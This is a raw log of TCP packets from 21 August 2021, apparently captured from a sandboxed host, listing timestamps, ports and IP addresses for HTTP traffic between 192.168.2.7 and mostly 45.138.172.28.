Aug 21, 2021 21:45:58.168728113 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.168756008 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.168803930 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.196630001 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.196707010 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.196747065 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.196794987 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.196799994 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.196844101 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.196887970 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.196887970 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.196959972 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.197002888 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.197033882 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.197066069 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.197105885 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.197140932 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.197151899 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.197154045 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.197194099 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.197247982 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.197304964 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.197309971 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.197314978 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.197319984 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.197362900 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.197407007 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.197448015 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.197489023 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.197491884 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.197526932 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.197532892 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.197635889 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.223866940 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.223907948 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.223926067 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224287033 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224318981 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224338055 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224355936 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224375963 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224394083 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224402905 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.224414110 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224436045 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224455118 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224474907 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224576950 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224596024 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224611998 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224632978 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224652052 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224668980 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224688053 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224704027 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224721909 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224741936 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224760056 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224778891 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224797010 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224816084 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224837065 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224854946 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224874020 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224890947 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224909067 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224925995 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224941969 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224958897 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224976063 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.224992990 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.225011110 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.225028992 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.225048065 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.225953102 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.251840115 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.251872063 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.251892090 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.251913071 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.251935959 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.251938105 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.251959085 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252000093 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.252185106 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252218962 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252240896 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252264977 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252275944 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.252290964 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252312899 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252314091 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.252386093 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.252392054 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252435923 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252477884 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.252497911 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252561092 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252589941 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252603054 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.252649069 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252670050 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252691984 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.252726078 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252753973 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252778053 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.252806902 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252831936 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252849102 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.252854109 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252876043 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252897024 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252897978 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.252934933 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.252944946 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.252974987 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253006935 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253016949 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.253032923 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253053904 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253073931 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253076077 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.253094912 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253118038 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253118038 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.253142118 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253161907 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253164053 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.253187895 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253209114 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253217936 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.253232002 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253252029 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253257990 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.253274918 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253294945 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253304005 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.253329039 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253340006 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.253350973 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253371954 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253392935 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.253395081 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253421068 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253441095 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253442049 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.253464937 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.253482103 CEST	80	49709	187.190.48.60	192.168.2.7
Aug 21, 2021 21:45:58.253485918 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.253496885 CEST	80	49709	187.190.48.60	192.168.2.7
Aug 21, 2021 21:45:58.253582954 CEST	49709	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:45:58.278306961 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.278331041 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.278346062 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.278390884 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.278435946 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.278526068 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.278543949 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.278559923 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.278578043 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.278595924 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.278600931 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.278626919 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.279608965 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.279633045 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.279649973 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.279660940 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.279683113 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.279707909 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.279767036 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.279793978 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.279812098 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.279825926 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.279865980 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.279865980 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.279903889 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.279932022 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.279947042 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.279959917 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.279973984 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.279997110 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.279999971 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.280025005 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280035019 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.280056953 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280093908 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280097008 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.280116081 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280139923 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280149937 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.280167103 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280183077 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280204058 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280205011 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.280222893 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280237913 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.280239105 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280255079 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280270100 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280282974 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.280286074 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280299902 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280311108 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.280316114 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280330896 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280344009 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.280355930 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280368090 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.280371904 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280386925 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280400991 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280416012 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280416012 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.280430079 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280436993 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.280446053 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280459881 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280471087 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.280478954 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280493975 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.280494928 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280510902 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.280538082 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.305022001 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.305059910 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.305085897 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.305143118 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.305172920 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.306013107 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.306061029 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.306091070 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.306118011 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.306152105 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.306162119 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.306273937 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.306325912 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.306379080 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.306723118 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.306812048 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.306881905 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.306926966 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.307085991 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.307157993 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.307282925 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.307323933 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.307367086 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.307408094 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.307414055 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.307442904 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.307472944 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.307478905 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.307531118 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.307600021 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.307679892 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.307739019 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.307744980 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.307799101 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.307843924 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.307858944 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.307902098 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.307946920 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.307959080 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308022976 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308063030 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.308073044 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308113098 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308157921 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.308191061 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308258057 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308303118 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.308351994 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308418036 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308451891 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308464050 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.308487892 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308522940 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308533907 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.308557034 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308592081 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308602095 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.308626890 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308669090 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.308670044 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308708906 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308743954 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308753967 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.308779955 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308815002 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308824062 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.308847904 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308882952 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308887959 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.308917046 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.308960915 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.308962107 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309000969 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309036016 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309041023 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.309071064 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309107065 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309117079 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.309139967 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309175968 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309191942 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.309211016 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309248924 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.309256077 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309295893 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309330940 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309343100 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.309366941 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309402943 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309407949 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.309437037 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309473991 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309499979 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.309508085 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309552908 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309560061 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.309593916 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309629917 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309643030 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.309667110 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309703112 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309715986 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.309739113 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309775114 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309803009 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309839964 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309875965 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309910059 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309943914 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.309957981 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.309978962 CEST	80	49710	45.138.172.28	192.168.2.7
